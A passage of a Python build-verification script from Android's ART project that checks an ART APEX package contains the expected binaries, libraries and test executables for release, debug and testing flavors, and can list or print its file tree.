check_symlinked_first_executable(self, filename):\n    self.check_executable('%s64' % filename)\n    self.check_executable_symlink(filename)\n\n  def check_multilib_executable(self, filename):\n    self.check_executable('%s64' % filename)\n    self.check_executable('%s32' % filename)\n\n  def check_first_executable(self, filename):\n    self.check_executable('%s64' % filename)\n\n  def check_native_library(self, basename):\n    # TODO: Use $TARGET_ARCH (e.g. check whether it is \"arm\" or \"arm64\") to improve\n    # the precision of this test?\n    self.check_file('lib/%s.so' % basename)\n    self.check_file('lib64/%s.so' % basename)\n\n  def check_optional_native_library(self, basename_glob):\n    self.ignore_path('lib/%s.so' % basename_glob)\n    self.ignore_path('lib64/%s.so' % basename_glob)\n\n  def check_prefer64_library(self, basename):\n    self.check_file('lib64/%s.so' % basename)\n\n\nclass ReleaseChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Release Checker'\n\n  def run(self):\n    # Check the Protocol Buffers APEX manifest.\n    self._checker.check_file('apex_manifest.pb')\n\n    # Check binaries for ART.\n    self._checker.check_first_executable('dex2oat')\n    self._checker.check_executable('dexdump')\n    self._checker.check_executable('dexlist')\n    self._checker.check_executable('dexoptanalyzer')\n    self._checker.check_executable('profman')\n    self._checker.check_symlinked_multilib_executable('dalvikvm')\n\n    # Check exported libraries for ART.\n    self._checker.check_native_library('libdexfile_external')\n    self._checker.check_native_library('libnativebridge')\n    self._checker.check_native_library('libnativehelper')\n    self._checker.check_native_library('libnativeloader')\n\n    # Check internal libraries for ART.\n    self._checker.check_native_library('libadbconnection')\n    self._checker.check_native_library('libart')\n    self._checker.check_native_library('libart-compiler')\n    self._checker.check_native_library('libart-dexlayout')\n    self._checker.check_native_library('libart-disassembler')\n    self._checker.check_native_library('libartbase')\n    self._checker.check_native_library('libartpalette')\n    self._checker.check_native_library('libdexfile')\n    self._checker.check_native_library('libdexfile_support')\n    self._checker.check_native_library('libopenjdkjvm')\n    self._checker.check_native_library('libopenjdkjvmti')\n    self._checker.check_native_library('libprofile')\n    self._checker.check_native_library('libsigchain')\n\n    # Check java libraries for Managed Core Library.\n    self._checker.check_java_library('apache-xml')\n    self._checker.check_java_library('bouncycastle')\n    self._checker.check_java_library('core-icu4j')\n    self._checker.check_java_library('core-libart')\n    self._checker.check_java_library('core-oj')\n    self._checker.check_java_library('okhttp')\n    if isEnvTrue('EMMA_INSTRUMENT_FRAMEWORK'):\n      # In coverage builds jacoco is added to the list of ART apex jars.\n      self._checker.check_java_library('jacocoagent')\n\n    # Check internal native libraries for Managed Core Library.\n    self._checker.check_native_library('libjavacore')\n    self._checker.check_native_library('libopenjdk')\n\n    # Check internal native library dependencies.\n    #\n    # Any internal dependency not listed here will cause a failure in\n    # NoSuperfluousLibrariesChecker. Internal dependencies are generally just\n    # implementation details, but in the release package we want to track them\n    # because a) they add to the package size and the RAM usage (in particular\n    # if the library is also present in /system or another APEX and hence might\n    # get loaded twice through linker namespace separation), and b) we need to\n    # catch invalid dependencies on /system or other APEXes that should go\n    # through an exported library with stubs (b/128708192 tracks implementing a\n    # better approach for that).\n    self._checker.check_native_library('libbacktrace')\n    self._checker.check_native_library('libbase')\n    self._checker.check_native_library('libc++')\n    self._checker.check_native_library('libdt_fd_forward')\n    self._checker.check_native_library('libdt_socket')\n    self._checker.check_native_library('libjdwp')\n    self._checker.check_native_library('liblzma')\n    self._checker.check_native_library('libnpt')\n    self._checker.check_native_library('libunwindstack')\n    self._checker.check_native_library('libziparchive')\n    self._checker.check_optional_native_library('libvixl')  # Only on ARM/ARM64\n\n    # Allow extra dependencies that appear in ASAN builds.\n    self._checker.check_optional_native_library('libclang_rt.asan*')\n    self._checker.check_optional_native_library('libclang_rt.hwasan*')\n    self._checker.check_optional_native_library('libclang_rt.ubsan*')\n\n    # Check dexpreopt files for libcore bootclasspath jars.\n    self._checker.check_dexpreopt('boot')\n    self._checker.check_dexpreopt('boot-apache-xml')\n    self._checker.check_dexpreopt('boot-bouncycastle')\n    self._checker.check_dexpreopt('boot-core-icu4j')\n    self._checker.check_dexpreopt('boot-core-libart')\n    self._checker.check_dexpreopt('boot-okhttp')\n    if isEnvTrue('EMMA_INSTRUMENT_FRAMEWORK'):\n      # In coverage builds the ART boot image includes jacoco.\n      self._checker.check_dexpreopt('boot-jacocoagent')\n\nclass ReleaseTargetChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Release (Target) Checker'\n\n  def run(self):\n    # We don't check for the presence of the JSON APEX manifest (file\n    # `apex_manifest.json`, only present in target APEXes), as it is only\n    # included for compatibility reasons with Android Q and will likely be\n    # removed in Android R.\n\n    # Check binaries for ART.\n    self._checker.check_executable('oatdump')\n    self._checker.check_multilib_executable('dex2oat')\n\n    # Check internal libraries for ART.\n    self._checker.check_prefer64_library('libart-disassembler')\n    self._checker.check_native_library('libperfetto_hprof')\n\n    # Check exported native libraries for Managed Core Library.\n    self._checker.check_native_library('libandroidicu')\n    self._checker.check_native_library('libandroidio')\n\n    # Check internal native library dependencies.\n    self._checker.check_native_library('libcrypto')\n    self._checker.check_native_library('libexpat')\n    self._checker.check_native_library('libicui18n')\n    self._checker.check_native_library('libicuuc')\n    self._checker.check_native_library('libicu_jni')\n    self._checker.check_native_library('libpac')\n    self._checker.check_native_library('libz')\n\n    # TODO(b/139046641): Fix proper 2nd arch checks. For now, just ignore these\n    # directories.\n    self._checker.ignore_path('bin/arm')\n    self._checker.ignore_path('lib/arm')\n    self._checker.ignore_path('lib64/arm')\n\n\nclass ReleaseHostChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Release (Host) Checker'\n\n  def run(self):\n    # Check binaries for ART.\n    self._checker.check_executable('hprof-conv')\n    self._checker.check_symlinked_first_executable('dex2oatd')\n    self._checker.check_symlinked_first_executable('dex2oat')\n\n    # Check exported native libraries for Managed Core Library.\n    self._checker.check_native_library('libandroidicu-host')\n    self._checker.check_native_library('libandroidio')\n\n    # Check internal libraries for Managed Core Library.\n    self._checker.check_native_library('libexpat-host')\n    self._checker.check_native_library('libicui18n-host')\n    self._checker.check_native_library('libicuuc-host')\n    self._checker.check_native_library('libicu_jni')\n    self._checker.check_native_library('libz-host')\n\n\nclass DebugChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Debug Checker'\n\n  def run(self):\n    # Check binaries for ART.\n    self._checker.check_executable('dexdiag')\n    self._checker.check_executable('dexanalyze')\n    self._checker.check_executable('dexlayout')\n    self._checker.check_symlinked_multilib_executable('imgdiag')\n\n    # Check debug binaries for ART.\n    self._checker.check_executable('dexlayoutd')\n    self._checker.check_executable('dexoptanalyzerd')\n    self._checker.check_symlinked_multilib_executable('imgdiagd')\n    self._checker.check_executable('profmand')\n\n    # Check internal libraries for ART.\n    self._checker.check_native_library('libadbconnectiond')\n    self._checker.check_native_library('libart-disassembler')\n    self._checker.check_native_library('libartbased')\n    self._checker.check_native_library('libartd')\n    self._checker.check_native_library('libartd-compiler')\n    self._checker.check_native_library('libartd-dexlayout')\n    self._checker.check_native_library('libartd-disassembler')\n    self._checker.check_native_library('libdexfiled')\n    self._checker.check_native_library('libopenjdkjvmd')\n    self._checker.check_native_library('libopenjdkjvmtid')\n    self._checker.check_native_library('libprofiled')\n\n    # Check internal libraries for Managed Core Library.\n    self._checker.check_native_library('libopenjdkd')\n\n\nclass DebugTargetChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Debug (Target) Checker'\n\n  def run(self):\n    # Check ART debug binaries.\n    self._checker.check_multilib_executable('dex2oatd')\n    self._checker.check_multilib_executable('dex2oat')\n    self._checker.check_executable('oatdumpd')\n\n    # Check ART internal libraries.\n    self._checker.check_native_library('libdexfiled_external')\n    self._checker.check_native_library('libperfetto_hprofd')\n\n    # Check internal native library dependencies.\n    #\n    # Like in the release package, we check that we don't get other dependencies\n    # besides those listed here. In this case the concern is not bloat, but\n    # rather that we don't get behavioural differences between user (release)\n    # and userdebug/eng builds, which could happen if the debug package has\n    # duplicate library instances where releases don't. In other words, it's\n    # uncontroversial to add debug-only dependencies, as long as they don't make\n    # assumptions on having a single global state (ideally they should have\n    # double_loadable:true, cf. go/double_loadable). Also, like in the release\n    # package we need to look out for dependencies that should go through\n    # exported library stubs (until b/128708192 is fixed).\n    self._checker.check_optional_native_library('libvixld')  # Only on ARM/ARM64\n    self._checker.check_prefer64_library('libmeminfo')\n    self._checker.check_prefer64_library('libprocinfo')\n\n\nclass TestingTargetChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'Testing (Target) Checker'\n\n  def run(self):\n    # Check cmdline tests.\n    self._checker.check_optional_art_test_executable('cmdline_parser_test')\n\n    # Check compiler tests.\n    self._checker.check_art_test_executable('atomic_dex_ref_map_test')\n    self._checker.check_art_test_executable('bounds_check_elimination_test')\n    self._checker.check_art_test_executable('codegen_test')\n    self._checker.check_art_test_executable('compiled_method_storage_test')\n    self._checker.check_art_test_executable('data_type_test')\n    self._checker.check_art_test_executable('dedupe_set_test')\n    self._checker.check_art_test_executable('dominator_test')\n    self._checker.check_art_test_executable('dwarf_test')\n    self._checker.check_art_test_executable('exception_test')\n    self._checker.check_art_test_executable('find_loops_test')\n    self._checker.check_art_test_executable('graph_checker_test')\n    self._checker.check_art_test_executable('graph_test')\n    self._checker.check_art_test_executable('gvn_test')\n    self._checker.check_art_test_executable('induction_var_analysis_test')\n    self._checker.check_art_test_executable('induction_var_range_test')\n    self._checker.check_art_test_executable('jni_cfi_test')\n    self._checker.check_art_test_executable('jni_compiler_test')\n    self._checker.check_art_test_executable('licm_test')\n    self._checker.check_art_test_executable('linker_patch_test')\n    self._checker.check_art_test_executable('live_interval_test')\n    self._checker.check_art_test_executable('load_store_analysis_test')\n    self._checker.check_art_test_executable('load_store_elimination_test')\n    self._checker.check_art_test_executable('loop_optimization_test')\n    self._checker.check_art_test_executable('nodes_test')\n    self._checker.check_art_test_executable('nodes_vector_test')\n    self._checker.check_art_test_executable('optimizing_cfi_test')\n    self._checker.check_art_test_executable('output_stream_test')\n    self._checker.check_art_test_executable('parallel_move_test')\n    self._checker.check_art_test_executable('pretty_printer_test')\n    self._checker.check_art_test_executable('reference_type_propagation_test')\n    self._checker.check_art_test_executable('scheduler_test')\n    self._checker.check_art_test_executable('select_generator_test')\n    self._checker.check_art_test_executable('side_effects_test')\n    self._checker.check_art_test_executable('src_map_elem_test')\n    self._checker.check_art_test_executable('ssa_liveness_analysis_test')\n    self._checker.check_art_test_executable('ssa_test')\n    self._checker.check_art_test_executable('stack_map_test')\n    self._checker.check_art_test_executable('superblock_cloner_test')\n    self._checker.check_art_test_executable('suspend_check_test')\n    self._checker.check_art_test_executable('swap_space_test')\n    # These tests depend on a specific code generator and are conditionally included.\n    self._checker.check_optional_art_test_executable('constant_folding_test')\n    self._checker.check_optional_art_test_executable('dead_code_elimination_test')\n    self._checker.check_optional_art_test_executable('linearize_test')\n    self._checker.check_optional_art_test_executable('live_ranges_test')\n    self._checker.check_optional_art_test_executable('liveness_test')\n    self._checker.check_optional_art_test_executable('managed_register_arm64_test')\n    self._checker.check_optional_art_test_executable('managed_register_arm_test')\n    self._checker.check_optional_art_test_executable('managed_register_x86_64_test')\n    self._checker.check_optional_art_test_executable('managed_register_x86_test')\n    self._checker.check_optional_art_test_executable('register_allocator_test')\n\n    # Check dex2oat tests.\n    self._checker.check_art_test_executable('compiler_driver_test')\n    self._checker.check_art_test_executable('dex2oat_image_test')\n    self._checker.check_art_test_executable('dex2oat_test')\n    self._checker.check_art_test_executable('dex_to_dex_decompiler_test')\n    self._checker.check_art_test_executable('elf_writer_test')\n    self._checker.check_art_test_executable('image_test')\n    self._checker.check_art_test_executable('image_write_read_test')\n    self._checker.check_art_test_executable('index_bss_mapping_encoder_test')\n    self._checker.check_art_test_executable('multi_oat_relative_patcher_test')\n    self._checker.check_art_test_executable('oat_writer_test')\n    self._checker.check_art_test_executable('verifier_deps_test')\n    # These tests depend on a specific code generator and are conditionally included.\n    self._checker.check_optional_art_test_executable('relative_patcher_arm64_test')\n    self._checker.check_optional_art_test_executable('relative_patcher_thumb2_test')\n    self._checker.check_optional_art_test_executable('relative_patcher_x86_64_test')\n    self._checker.check_optional_art_test_executable('relative_patcher_x86_test')\n\n    # Check dexanalyze tests.\n    self._checker.check_optional_art_test_executable('dexanalyze_test')\n\n    # Check dexdiag tests.\n    self._checker.check_optional_art_test_executable('dexdiag_test')\n\n    # Check dexdump tests.\n    self._checker.check_art_test_executable('dexdump_test')\n\n    # Check dexlayout tests.\n    self._checker.check_optional_art_test_executable('dexlayout_test')\n\n    # Check dexlist tests.\n    self._checker.check_art_test_executable('dexlist_test')\n\n    # Check dexoptanalyzer tests.\n    self._checker.check_art_test_executable('dexoptanalyzer_test')\n\n    # Check imgdiag tests.\n    self._checker.check_art_test_executable('imgdiag_test')\n\n    # Check libartbase tests.\n    self._checker.check_art_test_executable('arena_allocator_test')\n    self._checker.check_art_test_executable('bit_field_test')\n    self._checker.check_art_test_executable('bit_memory_region_test')\n    self._checker.check_art_test_executable('bit_string_test')\n    self._checker.check_art_test_executable('bit_struct_test')\n    self._checker.check_art_test_executable('bit_table_test')\n    self._checker.check_art_test_executable('bit_utils_test')\n    self._checker.check_art_test_executable('bit_vector_test')\n    self._checker.check_art_test_executable('fd_file_test')\n    self._checker.check_art_test_executable('file_utils_test')\n    self._checker.check_art_test_executable('hash_set_test')\n    self._checker.check_art_test_executable('hex_dump_test')\n    self._checker.check_art_test_executable('histogram_test')\n    self._checker.check_art_test_executable('indenter_test')\n    self._checker.check_art_test_executable('instruction_set_test')\n    self._checker.check_art_test_executable('intrusive_forward_list_test')\n    self._checker.check_art_test_executable('leb128_test')\n    self._checker.check_art_test_executable('logging_test')\n    self._checker.check_art_test_executable('mem_map_test')\n    self._checker.check_art_test_executable('membarrier_test')\n    self._checker.check_art_test_executable('memfd_test')\n    self._checker.check_art_test_executable('memory_region_test')\n    self._checker.check_art_test_executable('safe_copy_test')\n    self._checker.check_art_test_executable('scoped_flock_test')\n    self._checker.check_art_test_executable('time_utils_test')\n    self._checker.check_art_test_executable('transform_array_ref_test')\n    self._checker.check_art_test_executable('transform_iterator_test')\n    self._checker.check_art_test_executable('utils_test')\n    self._checker.check_art_test_executable('variant_map_test')\n    self._checker.check_art_test_executable('zip_archive_test')\n\n    # Check libartpalette tests.\n    self._checker.check_art_test_executable('palette_test')\n\n    # Check libdexfile tests.\n    self._checker.check_art_test_executable('art_dex_file_loader_test')\n    self._checker.check_art_test_executable('art_libdexfile_support_tests')\n    self._checker.check_art_test_executable('class_accessor_test')\n    self._checker.check_art_test_executable('code_item_accessors_test')\n    self._checker.check_art_test_executable('compact_dex_file_test')\n    self._checker.check_art_test_executable('compact_offset_table_test')\n    self._checker.check_art_test_executable('descriptors_names_test')\n    self._checker.check_art_test_executable('dex_file_loader_test')\n    self._checker.check_art_test_executable('dex_file_verifier_test')\n    self._checker.check_art_test_executable('dex_instruction_test')\n    self._checker.check_art_test_executable('primitive_test')\n    self._checker.check_art_test_executable('string_reference_test')\n    self._checker.check_art_test_executable('test_dex_file_builder_test')\n    self._checker.check_art_test_executable('type_lookup_table_test')\n    self._checker.check_art_test_executable('utf_test')\n\n    # Check libprofile tests.\n    self._checker.check_optional_art_test_executable('profile_boot_info_test')\n    self._checker.check_optional_art_test_executable('profile_compilation_info_test')\n\n    # Check oatdump tests.\n    self._checker.check_art_test_executable('oatdump_app_test')\n    self._checker.check_art_test_executable('oatdump_image_test')\n    self._checker.check_art_test_executable('oatdump_test')\n\n    # Check profman tests.\n    self._checker.check_art_test_executable('profile_assistant_test')\n\n    # Check runtime compiler tests.\n    self._checker.check_art_test_executable('module_exclusion_test')\n    self._checker.check_art_test_executable('reflection_test')\n\n    # Check runtime tests.\n    self._checker.check_art_test_executable('arch_test')\n    self._checker.check_art_test_executable('barrier_test')\n    self._checker.check_art_test_executable('card_table_test')\n    self._checker.check_art_test_executable('cha_test')\n    self._checker.check_art_test_executable('class_linker_test')\n    self._checker.check_art_test_executable('class_loader_context_test')\n    self._checker.check_art_test_executable('class_table_test')\n    self._checker.check_art_test_executable('compiler_filter_test')\n    self._checker.check_art_test_executable('dex_cache_test')\n    self._checker.check_art_test_executable('dlmalloc_space_random_test')\n    self._checker.check_art_test_executable('dlmalloc_space_static_test')\n    self._checker.check_art_test_executable('entrypoints_order_test')\n    self._checker.check_art_test_executable('exec_utils_test')\n    self._checker.check_art_test_executable('gtest_test')\n    self._checker.check_art_test_executable('handle_scope_test')\n    self._checker.check_art_test_executable('heap_test')\n    self._checker.check_art_test_executable('heap_verification_test')\n    self._checker.check_art_test_executable('hidden_api_test')\n    self._checker.check_art_test_executable('image_space_test')\n    self._checker.check_art_test_executable('immune_spaces_test')\n    self._checker.check_art_test_executable('imtable_test')\n    self._checker.check_art_test_executable('indirect_reference_table_test')\n    self._checker.check_art_test_executable('instruction_set_features_arm64_test')\n    self._checker.check_art_test_executable('instruction_set_features_arm_test')\n    self._checker.check_art_test_executable('instruction_set_features_test')\n    self._checker.check_art_test_executable('instruction_set_features_x86_64_test')\n    self._checker.check_art_test_executable('instruction_set_features_x86_test')\n    self._checker.check_art_test_executable('instrumentation_test')\n    self._checker.check_art_test_executable('intern_table_test')\n    self._checker.check_art_test_executable('java_vm_ext_test')\n    self._checker.check_art_test_executable('jit_memory_region_test')\n    self._checker.check_art_test_executable('jni_internal_test')\n    self._checker.check_art_test_executable('large_object_space_test')\n    self._checker.check_art_test_executable('math_entrypoints_test')\n    self._checker.check_art_test_executable('memcmp16_test')\n    self._checker.check_art_test_executable('method_handles_test')\n    self._checker.check_art_test_executable('method_type_test')\n    self._checker.check_art_test_executable('method_verifier_test')\n    self._checker.check_art_test_executable('mod_union_table_test')\n    self._checker.check_art_test_executable('monitor_pool_test')\n    self._checker.check_art_test_executable('monitor_test')\n    self._checker.check_art_test_executable('mutex_test')\n    self._checker.check_art_test_executable('oat_file_assistant_test')\n    self._checker.check_art_test_executable('oat_file_test')\n    self._checker.check_art_test_executable('object_test')\n    self._checker.check_art_test_executable('parsed_options_test')\n    self._checker.check_art_test_executable('prebuilt_tools_test')\n    self._checker.check_art_test_executable('profiling_info_test')\n    self._checker.check_art_test_executable('profile_saver_test')\n    self._checker.check_art_test_executable('proxy_test')\n    self._checker.check_art_test_executable('quick_trampoline_entrypoints_test')\n    self._checker.check_art_test_executable('reference_queue_test')\n    self._checker.check_art_test_executable('reference_table_test')\n    self._checker.check_art_test_executable('reg_type_test')\n    self._checker.check_art_test_executable('rosalloc_space_random_test')\n    self._checker.check_art_test_executable('rosalloc_space_static_test')\n    self._checker.check_art_test_executable('runtime_callbacks_test')\n    self._checker.check_art_test_executable('runtime_test')\n    self._checker.check_art_test_executable('safe_math_test')\n    self._checker.check_art_test_executable('space_bitmap_test')\n    self._checker.check_art_test_executable('space_create_test')\n    self._checker.check_art_test_executable('stub_test')\n    self._checker.check_art_test_executable('subtype_check_info_test')\n    self._checker.check_art_test_executable('subtype_check_test')\n    self._checker.check_art_test_executable('system_weak_test')\n    self._checker.check_art_test_executable('task_processor_test')\n    self._checker.check_art_test_executable('thread_pool_test')\n    self._checker.check_art_test_executable('timing_logger_test')\n    self._checker.check_art_test_executable('transaction_test')\n    self._checker.check_art_test_executable('two_runtimes_test')\n    self._checker.check_art_test_executable('unstarted_runtime_test')\n    self._checker.check_art_test_executable('var_handle_test')\n    self._checker.check_art_test_executable('vdex_file_test')\n\n    # Check sigchainlib tests.\n    self._checker.check_art_test_executable('sigchain_test')\n\n    # Check ART test (internal) libraries.\n    self._checker.check_native_library('libart-gtest')\n    self._checker.check_native_library('libartd-simulator-container')\n\n    # Check ART test tools.\n    self._checker.check_executable('signal_dumper')\n\n\nclass NoSuperfluousBinariesChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'No superfluous binaries checker'\n\n  def run(self):\n    self._checker.check_no_superfluous_files('bin')\n\n\nclass NoSuperfluousLibrariesChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'No superfluous libraries checker'\n\n  def run(self):\n    self._checker.check_no_superfluous_files('javalib')\n    self._checker.check_no_superfluous_files('lib')\n    self._checker.check_no_superfluous_files('lib64')\n\n\nclass NoSuperfluousArtTestsChecker:\n  def __init__(self, checker):\n    self._checker = checker\n\n  def __str__(self):\n    return 'No superfluous ART tests checker'\n\n  def run(self):\n    for arch in ARCHS:\n      self._checker.check_no_superfluous_files('%s/%s' % (ART_TEST_DIR, arch))\n\n\nclass List:\n  def __init__(self, provider, print_size=False):\n    self._provider = provider\n    self._print_size = print_size\n\n  def print_list(self):\n\n    def print_list_rec(path):\n      apex_map = self._provider.read_dir(path)\n      if apex_map is None:\n        return\n      apex_map = dict(apex_map)\n      if '.' in apex_map:\n        del apex_map['.']\n      if '..' in apex_map:\n        del apex_map['..']\n      for (_, val) in sorted(apex_map.items()):\n        val_path = os.path.join(path, val.name)\n        if self._print_size:\n          if val.size < 0:\n            print('[    n/a    ]  %s' % val_path)\n          else:\n            print('[%11d]  %s' % (val.size, val_path))\n        else:\n          print(val_path)\n        if val.is_dir:\n          print_list_rec(val_path)\n\n    print_list_rec('')\n\n\nclass Tree:\n  def __init__(self, provider, title, print_size=False):\n    print('%s' % title)\n    self._provider = provider\n    self._has_next_list = []\n    self._print_size = print_size\n\n  @staticmethod\n  def get_vertical(has_next_list):\n    string = ''\n    for v in has_next_list:\n      string += '%s   ' % ('│' if v else ' ')\n    return string\n\n  @staticmethod\n  def get_last_vertical(last):\n    return '└── ' if last else '├── '\n\n  def print_tree(self):\n\n    def print_tree_rec(path):\n      apex_map = self._provider.read_dir(path)\n      if apex_map is None:\n        return\n      apex_map = dict(apex_map)\n      if '.' in apex_map:\n        del apex_map['.']\n      if '..' in apex_map:\n        del apex_map['..']\n      key_list = list(sorted(apex_map.keys()))\n      for i, key in enumerate(key_list):\n        prev = self.get_vertical(self._has_next_list)\n        last = self.get_last_vertical(i == len(key_list) - 1)\n        val = apex_map[key]\n        if self._print_size:\n          if val.size < 0:\n            print('%s%s[    n/a    ]  %s' % (prev, last, val.name))\n          else:\n            print('%s%s[%11d]  %s' % (prev, last, val.size, val.name))\n        else:\n          print('%s%s%s' % (prev, last, val.name))\n        if val.is_dir:\n          self._has_next_list.append(i < len(key_list) - 1)\n          val_path = os.path.join(path, val.name)\n          print_tree_rec(val_path)\n          self._has_next_list.pop()\n\n    print_tree_rec('')\n\n\n# Note: do not sys.exit early, for __del__ cleanup.\ndef art_apex_test_main(test_args):\n  if test_args.host and test_args.flattened:\n    logging.error(\"Both of --host and --flattened set\")\n    return 1\n  if test_args.list and test_args.tree:\n    logging.error(\"Both of --list and --tree set\")\n    return 1\n  if test_args.size and not (test_args.list or test_args.tree):\n    logging.error(\"--size set but neither --list nor --tree set\")\n    return 1\n  if not test_args.flattened and not test_args.tmpdir:\n    logging.error(\"Need a tmpdir.\")\n    return 1\n  if not test_args.flattened and not test_args.host and not test_args.debugfs:\n    logging.error(\"Need debugfs.\")\n    return 1\n\n  if test_args.host:\n    # Host APEX.\n    if test_args.flavor not in [FLAVOR_DEBUG, FLAVOR_AUTO]:\n      logging.error(\"Using option --host with non-Debug APEX\")\n      return 1\n    # Host APEX is always a debug flavor (for now).\n    test_args.flavor = FLAVOR_DEBUG\n  else:\n    # Device APEX.\n    if test_args.flavor == FLAVOR_AUTO:\n      logging.warning('--flavor=auto, trying to autodetect. This may be incorrect!')\n      for flavor in [ FLAVOR_RELEASE, FLAVOR_DEBUG, FLAVOR_TESTING ]:\n        flavor_pattern = '*.%s*' % flavor\n        if fnmatch.fnmatch(test_args.apex, flavor_pattern):\n          test_args.flavor = flavor\n          break\n      if test_args.flavor == FLAVOR_AUTO:\n        logging.error('  Could not detect APEX flavor, neither \\'%s\\', \\'%s\\' nor \\'%s\\' in \\'%s\\'',\n                    FLAVOR_RELEASE, FLAVOR_DEBUG, FLAVOR_TESTING, test_args.apex)\n        return 1\n\n  try:\n    if test_args.host:\n      apex_provider = HostApexProvider(test_args.apex, test_args.tmpdir)\n    else:\n      if test_args.flattened:\n        apex_provider = TargetFlattenedApexProvider(test_args.apex)\n      else:\n        apex_provider = TargetApexProvider(test_args.apex, test_args.tmpdir, test_args.debugfs)\n  except (zipfile.BadZipFile, zipfile.LargeZipFile) as e:\n    logging.error('Failed to create provider: %s', e)\n    return 1\n\n  if test_args.tree:\n    Tree(apex_provider, test_args.apex, test_args.size).print_tree()\n    return 0\n  if test_args.list:\n    List(apex_provider, test_args.size).print_list()\n    return 0\n\n  checkers = []\n  if test_args.bitness == BITNESS_AUTO:\n    logging.warning('--bitness=auto, trying to autodetect. This may be incorrect!')\n    has_32 = apex_provider.get('lib') is not None\n    has_64 = apex_provider.get('lib64') is not None\n    if has_32 and has_64:\n      logging.warning('  Detected multilib')\n      test_args.bitness = BITNESS_MULTILIB\n    elif has_32:\n      logging.warning('  Detected 32-only')\n      test_args.bitness = BITNESS_32\n    elif has_64:\n      logging.warning('  Detected 64-only')\n      test_args.bitness = BITNESS_64\n    else:\n      logging.error('  Could not detect bitness, neither lib nor lib64 contained.')\n      List(apex_provider).print_list()\n      return 1\n\n  if test_args.bitness == BITNESS_32:\n    base_checker = Arch32Checker(apex_provider)\n  elif test_args.bitness == BITNESS_64:\n    base_checker = Arch64Checker(apex_provider)\n  else:\n    assert test_args.bitness == BITNESS_MULTILIB\n    base_checker = MultilibChecker(apex_provider)\n\n  checkers.append(ReleaseChecker(base_checker))\n  if test_args.host:\n    checkers.append(ReleaseHostChecker(base_checker))\n  else:\n    checkers.append(ReleaseTargetChecker(base_checker))\n  if test_args.flavor == FLAVOR_DEBUG or test_args.flavor == FLAVOR_TESTING:\n    checkers.append(DebugChecker(base_checker))\n    if not test_args.host:\n      checkers.append(DebugTargetChecker(base_checker))\n  if test_args.flavor == FLAVOR_TESTING:\n    checkers.append(TestingTargetChecker(base_checker))\n\n  # These checkers must be last.\n  checkers.append(NoSuperfluousBinariesChecker(base_checker))\n  checkers.append(NoSuperfluousArtTestsChecker(base_checker))\n  if not test_args.host:\n    # We only care about superfluous libraries on target, where their absence\n    # can be vital to ensure they get picked up from the right package.\n    checkers.append(NoSuperfluousLibrariesChecker(base_checker))\n\n  failed = False\n  for checker in checkers:\n    logging.info('%s...', checker)\n    checker.run()\n    if base_checker.error_count() > 0:\n      logging.error('%s FAILED', checker)\n      failed = True\n    else:\n      logging.info('%s SUCCEEDED', checker)\n    base_checker.reset_errors()\n\n  return 1 if failed else 0\n\n\ndef art_apex_test_default(test_parser):\n  if 'ANDROID_PRODUCT_OUT' not in os.environ:\n    logging.error('No-argument use requires ANDROID_PRODUCT_OUT')\n    sys.exit(1)\n  product_out = os.environ['ANDROID_PRODUCT_OUT']\n  if 'ANDROID_HOST_OUT' not in os.environ:\n    logging.error('No-argument use requires ANDROID_HOST_OUT')\n    sys.exit(1)\n  host_out = os.environ['ANDROID_HOST_OUT']\n\n  test_args = test_parser.parse_args(['dummy'])  # For consistency.\n  test_args.debugfs = '%s/bin/debugfs' % host_out\n  test_args.tmpdir = '.'\n  test_args.tree = False\n  test_args.list = False\n  test_args.bitness = BITNESS_AUTO\n  failed = False\n\n  if not os.path.exists(test_args.debugfs):\n    logging.error(\"Cannot find debugfs (default path %s). Please build it, e.g., m debugfs\",\n                  test_args.debugfs)\n    sys.exit(1)\n\n  # TODO: Add host support.\n  # TODO: Add support for flattened APEX packages.\n  configs = [\n    {'name': 'com.android.art.release', 'flavor': FLAVOR_RELEASE, 'host': False},\n    {'name': 'com.android.art.debug',   'flavor': FLAVOR_DEBUG,   'host': False},\n    {'name': 'com.android.art.testing', 'flavor': FLAVOR_TESTING, 'host': False},\n  ]\n\n  for config in configs:\n    logging.info(config['name'])\n    # TODO: Host will need different path.\n    test_args.apex = '%s/system/apex/%s.apex' % (product_out, config['name'])\n    if not os.path.exists(test_args.apex):\n      failed = True\n      logging.error(\"Cannot find APEX %s. Please build it first.\", test_args.apex)\n      continue\n    test_args.flavor = config['flavor']\n    test_args.host = config['host']\n    failed = art_apex_test_main(test_args) != 0\n\n  if failed:\n    sys.exit(1)\n\n\nif __name__ == \"__main__\":\n  parser = argparse.ArgumentParser(description='Check integrity of an ART APEX.')\n\n  parser.add_argument('apex', help='APEX file input')\n\n  parser.add_argument('--host', help='Check as host APEX', action='store_true')\n\n  parser.add_argument('--flattened', help='Check as flattened (target) APEX', action='store_true')\n\n  parser.add_argument('--flavor', help='Check as FLAVOR APEX', choices=FLAVORS_ALL,\n                      default=FLAVOR_AUTO)\n\n  parser.add_argument('--list', help='List all files', action='store_true')\n  parser.add_argument('--tree', help='Print directory tree', action='store_true')\n  parser.add_argument('--size', help='Print file sizes', action='store_true')\n\n  parser.add_argument('--tmpdir', help='Directory for temp files')\n  parser.add_argument('--debugfs', help='Path to debugfs')\n\n  parser.add_argument('--bitness', help='Bitness to check', choices=BITNESS_ALL,\n                      default=BITNESS_AUTO)\n\n  if len(sys.argv) == 1:\n    art_apex_test_default(parser)\n  else:\n    args = parser.parse_args()\n\n    if args is None:\n      sys.exit(1)\n\n    exit_code = art_apex_test_main(args)\n    sys.exit(exit_code)\n","sub_path":"build/apex/art_apex_test.py","file_name":"art_apex_test.py","file_ext":"py","file_size_in_byte":51454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
